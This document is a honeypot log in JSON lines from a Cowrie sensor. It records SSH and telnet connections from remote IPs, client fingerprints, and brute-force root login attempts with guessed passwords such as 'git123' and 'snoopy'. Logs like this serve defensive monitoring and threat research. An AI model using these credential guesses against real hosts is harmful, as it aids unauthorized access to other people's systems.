{"eventid":"cowrie.session.closed","duration":120.00258779525757,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:21.588095Z","src_ip":"152.42.224.71","session":"1bd59570c5c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0015070438385,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:23.071888Z","src_ip":"152.42.224.71","session":"daa0ee189e53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":41386,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad7f21367c4e","protocol":"ssh","message":"New connection: 147.45.197.250:41386 (10.17.0.5:22) [session: ad7f21367c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:23.885294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:23.889965Z","src_ip":"147.45.197.250","session":"ad7f21367c4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:23.983280Z","src_ip":"147.45.197.250","session":"ad7f21367c4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikita2004","message":"login attempt [root/nikita2004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:24.315878Z","src_ip":"147.45.197.250","session":"ad7f21367c4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:25.409074Z","src_ip":"147.45.197.250","session":"ad7f21367c4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41668,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bd60e403e9e","protocol":"telnet","message":"New connection: 152.42.224.71:41668 (10.17.0.5:23) [session: 4bd60e403e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:33.450308Z"}
{"eventid":"cowrie.session.closed","duration":13.622297763824463,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:33.801777Z","src_ip":"152.42.224.71","session":"55862c81cace","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58590,"dst_ip":"10.17.0.5","dst_port":23,"session":"317ee4b3bef0","protocol":"telnet","message":"New connection: 152.42.224.71:58590 (10.17.0.5:23) [session: 317ee4b3bef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:38.293723Z"}
{"eventid":"cowrie.session.closed","duration":52.055739402770996,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:40.137739Z","src_ip":"152.42.224.71","session":"dbac39a3b7a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":34064,"dst_ip":"159.203.135.109","dst_port":22,"session":"427a7f588096","protocol":"ssh","message":"New connection: 191.96.110.121:34064 (159.203.135.109:22) [session: 427a7f588096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:45.284765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:45.387004Z","src_ip":"191.96.110.121","session":"427a7f588096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:45.682408Z","src_ip":"191.96.110.121","session":"427a7f588096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.009567737579346,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:46.041166Z","src_ip":"152.42.224.71","session":"9b99be1d5104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58596,"dst_ip":"10.17.0.5","dst_port":23,"session":"180d2b5cd6ab","protocol":"telnet","message":"New connection: 152.42.224.71:58596 (10.17.0.5:23) [session: 180d2b5cd6ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:46.138294Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"simplepass","message":"login attempt [root/simplepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:46.500647Z","src_ip":"191.96.110.121","session":"427a7f588096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34492,"dst_ip":"10.17.0.5","dst_port":23,"session":"44a785abec18","protocol":"telnet","message":"New connection: 152.42.224.71:34492 (10.17.0.5:23) [session: 44a785abec18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:47.542412Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:47.789559Z","src_ip":"191.96.110.121","session":"427a7f588096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":47646,"dst_ip":"159.203.135.109","dst_port":22,"session":"26d0ddf4f27f","protocol":"ssh","message":"New connection: 68.183.236.1:47646 (159.203.135.109:22) [session: 26d0ddf4f27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:47.898022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:47.903065Z","src_ip":"68.183.236.1","session":"26d0ddf4f27f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:48.162197Z","src_ip":"68.183.236.1","session":"26d0ddf4f27f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"git123","message":"login attempt [root/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:49.211574Z","src_ip":"68.183.236.1","session":"26d0ddf4f27f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.172","src_port":31338,"dst_ip":"10.17.0.5","dst_port":22,"session":"6369a33277b9","protocol":"ssh","message":"New connection: 64.62.156.172:31338 (10.17.0.5:22) [session: 6369a33277b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:50.048919Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xe0\\xff\u05ef\\x97\\xe9\\x87\u0007\\xb6\"N\\xa8\u001d\u001b\\xea|\u0013\\x94\\x9cq\\xb4:\\x9b8\u007f\\xa4+\u001a\\x9a\\xf5\u03e0\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xe0\\xff\u05ef\\x97\\xe9\\x87\u0007\\xb6\"N\\xa8\u001d\u001b\\xea|\u0013\\x94\\x9cq\\xb4:\\x9b8\u007f\\xa4+\u001a\\x9a\\xf5\u03e0\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:50.057133Z","src_ip":"64.62.156.172","session":"6369a33277b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:50.060826Z","src_ip":"64.62.156.172","session":"6369a33277b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:50.475313Z","src_ip":"68.183.236.1","session":"26d0ddf4f27f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34500,"dst_ip":"10.17.0.5","dst_port":23,"session":"48f1153b6931","protocol":"telnet","message":"New connection: 152.42.224.71:34500 (10.17.0.5:23) [session: 48f1153b6931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:53.696011Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":58366,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ad9a9aff7d5","protocol":"ssh","message":"New connection: 62.133.62.83:58366 (10.17.0.5:22) [session: 3ad9a9aff7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:57.399020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:57.403814Z","src_ip":"62.133.62.83","session":"3ad9a9aff7d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:57.482967Z","src_ip":"62.133.62.83","session":"3ad9a9aff7d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snoopy","message":"login attempt [root/snoopy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:57.720681Z","src_ip":"62.133.62.83","session":"3ad9a9aff7d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:58.801573Z","src_ip":"62.133.62.83","session":"3ad9a9aff7d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":55394,"dst_ip":"159.203.135.109","dst_port":22,"session":"04fe50612e52","protocol":"ssh","message":"New connection: 89.108.118.91:55394 (159.203.135.109:22) [session: 04fe50612e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:01.011567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:01.021425Z","src_ip":"89.108.118.91","session":"04fe50612e52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37120,"dst_ip":"10.17.0.5","dst_port":23,"session":"197f1f155f55","protocol":"telnet","message":"New connection: 152.42.224.71:37120 (10.17.0.5:23) [session: 197f1f155f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:01.092571Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:01.156662Z","src_ip":"89.108.118.91","session":"04fe50612e52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"w1aubvoq","message":"login attempt [root/w1aubvoq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:01.559962Z","src_ip":"89.108.118.91","session":"04fe50612e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:02.696287Z","src_ip":"89.108.118.91","session":"04fe50612e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.38022589683533,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:05.524073Z","src_ip":"152.42.224.71","session":"5eb649d11d4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46516,"dst_ip":"10.17.0.5","dst_port":23,"session":"43bd6d1c98fd","protocol":"telnet","message":"New connection: 152.42.224.71:46516 (10.17.0.5:23) [session: 43bd6d1c98fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:06.170113Z"}
{"eventid":"cowrie.session.closed","duration":32.341609716415405,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:10.635222Z","src_ip":"152.42.224.71","session":"317ee4b3bef0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46530,"dst_ip":"10.17.0.5","dst_port":23,"session":"77f7ec41743c","protocol":"telnet","message":"New connection: 152.42.224.71:46530 (10.17.0.5:23) [session: 77f7ec41743c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:13.854110Z"}
{"eventid":"cowrie.session.closed","duration":57.9453547000885,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:15.379719Z","src_ip":"152.42.224.71","session":"8aa4340cc1a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.753835916519165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:19.296131Z","src_ip":"152.42.224.71","session":"44a785abec18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":52250,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ba9ae373a1f","protocol":"ssh","message":"New connection: 109.237.96.109:52250 (159.203.135.109:22) [session: 4ba9ae373a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:20.080249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:20.088907Z","src_ip":"109.237.96.109","session":"4ba9ae373a1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:20.171695Z","src_ip":"109.237.96.109","session":"4ba9ae373a1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:20.525384Z","src_ip":"109.237.96.109","session":"4ba9ae373a1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:21.623155Z","src_ip":"109.237.96.109","session":"4ba9ae373a1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.49750018119812,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:23.635660Z","src_ip":"152.42.224.71","session":"180d2b5cd6ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43712,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e83fdc5d8fc","protocol":"telnet","message":"New connection: 152.42.224.71:43712 (10.17.0.5:23) [session: 1e83fdc5d8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:28.315851Z"}
